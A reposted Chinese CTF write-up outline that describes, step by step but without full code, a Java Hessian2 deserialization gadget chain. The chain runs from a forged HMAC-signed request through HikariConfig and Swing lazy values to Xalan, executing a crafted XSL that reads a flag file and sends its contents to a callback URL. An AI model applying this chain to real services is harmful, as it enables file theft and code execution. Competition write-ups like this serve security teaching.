该题留给大家拷打Agent吧,暂不公开完整WP,只提供解题思路。
image-20260724163631661
信息收集(noir.js + source map)
└─ 派生密钥 secret = sha256(pepper|buildId)
└─ body = base64url(xor(gzip(hessian),mask)) ; mac = hmac(secret, kid.nonce.body)
POST /api/capsule (签名通过)
└─ Hessian2 白名单只放行 4 个类(封死 Spring1/JdbcRowSetImpl 等非预期)
└─ HikariConfig.catalog(String) 收到对象 → expect() → String.valueOf(obj)
→ MimeTypeParameterList.toString()
→ UIDefaults.get() 解析 SwingLazyValue
→ 反射 Xalan Process._main(-IN input.xml -XSL /theme/staged/<id>)
自写 XSL(经 /api/theme/stage 托管)
└─ document(file:///opt/peanut/store/index.xml) 读 manifest 定位随机 flag 路径
└─ document(file://<flag>) 读 <b64url>
└─ document(.../api/callbacks/collect?run&b64) 回收
GET /api/callbacks/<run> → flag
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:小叶Sec 《好靶场杯 官方部分WP》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论